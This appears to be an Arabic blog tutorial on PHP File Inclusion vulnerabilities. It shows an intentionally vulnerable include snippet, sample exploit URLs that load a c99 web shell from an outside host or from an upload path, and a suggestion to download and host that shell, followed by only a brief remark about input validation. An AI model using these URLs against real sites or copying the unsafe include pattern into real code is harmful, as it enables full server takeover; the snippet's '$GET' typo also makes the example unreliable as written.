ثغرات File Include وكيف يتم استغلالها وكيف تحمي موقعك منها

توجد العديد من الثغرات على مواقع الويب وفي هذا المدونة سنشرح جميع ثغرات الويب ولكن سنبدأ بالأكثر انتشارا لبناء مواقع ويب خالية من الثغرات وقد تكلمنا في درس سابق عن ثغرات XSS بالتفصيل واليوم سنتكلم عن ثغرات File Include.

ثغرات File Include :

هي نوع من الثغرات الشائعة الموجودة على مواقع الويب وبشكل خاص في المواقع المصممة بواسطة انظمة ادارةالمحتوى مثل وردبرس و جوملا ، والتي تمكن الهاكر من تضمين او رفع ملف على سيرفر الويب وهذا الملف يدعى شل (Shell) ويقوم بتنفيذه على السيرفر والذي من خلاله يستطيع التحكم بالسيرفر والموقع بشكل كامل .

اسباب حدوث هذه الثغرة :


تحدث هذه الثغرة لعدة اسباب والتي اهمها عدم التحقق من مدخلات المستخدم (Input Validation).

انواع ثغرات File Include :


النوع الاول : Remote File Inclusion : يتم تضمين الملف من مصدر خارجي مثلا من موقع او سيرفر آخر.
النوع الثاني : Local File Inclusion : يتم تضمين ملف موجود على سيرفر الويب تم رفعة مسبقا.
هذه الثغرات شائعة على لغة PHP لذلك سنتحدث بشكل برمجي عن سبب وجودها في لغة PHP توجد متغيرات خارجية (External variables) مثل GET , POST , COOKIE وهذه المتغيرات عندما تستقبل بيانات وتقوم بتمرير البيانات الى احدى دوال تضمين الملفات (include OR require) بدون التحقق من البيانات المدخلة هنا يتم استغلال الثغرة، بواسطة تمرير كود خطر بدلا من القيمة الحقيقة وبذلك يكون تم اختراق موقك.
مثال على ذلك :
هذا كود بسيط بلغة php مصاب بالثغرة ، عمل هذا الكود لتحديد ستايل او تنسيق الواجهة لنفترض ان امتداد هذا الملف WWW.example.com/gui.php
<?php
if(isset($GET['style']))
{
 include($GET['style'].'.php');
}
?>

<form method='get'>
<select name='style'>
<option value='blue'> BLUE </option>
<option value='green'> GREEN </option>
<option value='red'> RED </option>
</select>
<input type='submit' value='submit'>
</form>
استغلال الثغرة :
رابط استغلال الثغرة في النوع الاول Remote File Inclusion سيكون بالشكل الاتي :
http://WWW.example.com/gui.php?style=http://www.hacking.com/c99.txt?
طبعا هذا شكل الرابط في المتصفح مكان الرابط URL حيث الملف c99.txt من اخطر ملفات الشل يمكنكم البحث عنه وتنزيله ، طبعا اذا اردت استغلال الثغرة عليك بتنزيل الملف ورفعه على احد الاستضافات واستدعاءه مباشره كما اشرنا سابقا ، ويوجد ايضا انواع كثيرة من الشل يمكنك البحث عنها.
رابط استغلال الثغرة في النوع الثاني Local File Inclusion سيكون بالشكل الاتي :
http://WWW.example.com/gui.php?style=C:\\ftp\\uploads\c99.txt
طبعا هذا الملف حمل مسبقا الى السيرفر وتم استدعائه من خلال العملية السابقة.

كيف تحمي موقعك من هذه الثغرة :


طبعا الحل الوحيد لحماية موقعك من هذه الثغرة هو الفلترة والتحقق من المدخلات قبل استخدامها وتوجد دوال عديدة في لغة php لهذا الأمر وسنتكلم عنها في درس لاحق.
الى هنا انتهى الدرس وان شاء الله يكون اعجبكم الدرس والى درس جديد بإذن الله.
مواضيع ذات صلة

0 اترك تعليقاً...